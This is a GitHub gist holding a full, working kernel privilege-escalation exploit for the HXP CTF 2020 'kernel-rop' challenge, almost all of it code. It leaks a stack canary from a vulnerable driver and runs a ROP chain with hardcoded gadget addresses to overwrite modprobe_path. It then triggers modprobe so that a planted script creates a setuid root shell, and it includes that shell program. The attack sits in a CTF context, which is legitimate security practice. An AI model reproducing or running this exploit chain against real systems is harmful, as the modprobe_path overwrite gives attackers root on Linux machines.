Skip to content

Instantly share code, notes, and snippets.

@brant-ruan
Last active September 5, 2022 04:51
Show Gist options
  • Save brant-ruan/955996465ad25ea742d7bdb3a7d29509 to your computer and use it in GitHub Desktop.
Save brant-ruan/955996465ad25ea742d7bdb3a7d29509 to your computer and use it in GitHub Desktop.
[exploit_bypass_kpti_with_modprobe] HXP CTF 2020 >> kernel-rop | bypass SMEP with kernel ROP; bypass KPTI with modprobe; no KASLR
#!/bin/sh
mv /evilsu /tmp/evilsu
chmod u+s /tmp/evilsu
chmod 777 /evilsu
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main() {
puts("[*] trying to spawn root shell");
setuid(0);
setgid(0);
system("/bin/sh");
return 0;
}
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
char *VULN_DRV = "/dev/hackme";
void spawn_shell();
int64_t global_fd = 0;
uint64_t cookie = 0;
uint8_t cookie_off = 16;
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t) spawn_shell;
uint64_t pop_rdi_ret = 0xffffffff815f88ec;
uint64_t mov_rdi_rax_clobber_rsi140_pop1_ret = 0xffffffff816bf203;
uint64_t swapgs_pop1_ret = 0xffffffff8146d4e4;
uint64_t iretq = 0xffffffff819c68f6;
uint64_t modprobe_path = 0xffffffff82061820;
uint64_t write_rax_into_rdi_ret = 0xffffffff818673e9;
uint64_t pop_rax_ret = 0xffffffff81004d11;
void open_dev() {
global_fd = open(VULN_DRV, O_RDWR);
if (global_fd < 0) {
printf("[!] failed to open %s\n", VULN_DRV);
exit(-1);
} else {
printf("[+] successfully opened %s\n", VULN_DRV);
}
}
void leak_cookie() {
uint8_t sz = 40;
uint64_t leak[sz];
printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
uint64_t data = read(global_fd, leak, sizeof(leak));
cookie = leak[cookie_off];
printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off);
if(!cookie) {
puts("[-] failed to leak stack canary!");
exit(-1);
}
}
void spawn_shell() {
puts("[+] returned to user land");
uid_t uid = getuid();
if (uid == 0) {
printf("[+] got root (uid = %d)\n", uid);
} else {
printf("[!] failed to get root (uid: %d)\n", uid);
exit(-1);
}
puts("[*] spawning shell");
system("/bin/sh");
exit(0);
}
void save_userland_state() {
puts("[*] saving user land state");
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax");
}
void overwrite_ret() {
puts("[*] trying to run ROP chain and bypass KPTI with modprobe_path");
uint8_t sz = 35;
uint64_t payload[sz];
payload[cookie_off++] = cookie;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = pop_rax_ret;
payload[cookie_off++] = 0x6c6976652f; // rax: /evil
payload[cookie_off++] = pop_rdi_ret;
payload[cookie_off++] = modprobe_path;
payload[cookie_off++] = write_rax_into_rdi_ret; // overwrite modprobe_path
payload[cookie_off++] = swapgs_pop1_ret;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = iretq;
payload[cookie_off++] = user_rip;
payload[cookie_off++] = user_cs;
payload[cookie_off++] = user_rflags;
payload[cookie_off++] = user_sp;
payload[cookie_off++] = user_ss;
uint64_t data = write(global_fd, payload, sizeof(payload));
puts("[-] if you can read this we failed the mission :(");
}
int main(int argc, char **argv) {
open_dev();
leak_cookie();
save_userland_state();
overwrite_ret();
return 0;
}
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <stdlib.h>
int main() {
char *dummy_file = "/tmp/dummy";
puts("[*] creating dummy file");
FILE *fptr = fopen(dummy_file, "w");
if (!fptr) {
puts("[-] failed to open dummy file");
exit(-1);
}
if (fputs("\x37\x13\x42\x42", fptr) == EOF) {
puts("[-] failed to write dummy file");
exit(-1);
}
fclose(fptr);
system("chmod 777 /tmp/dummy");
puts("[*] triggering modprobe by executing dummy file");
execv(dummy_file, NULL);
puts("[+] now run /tmp/evilsu to get root shell");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment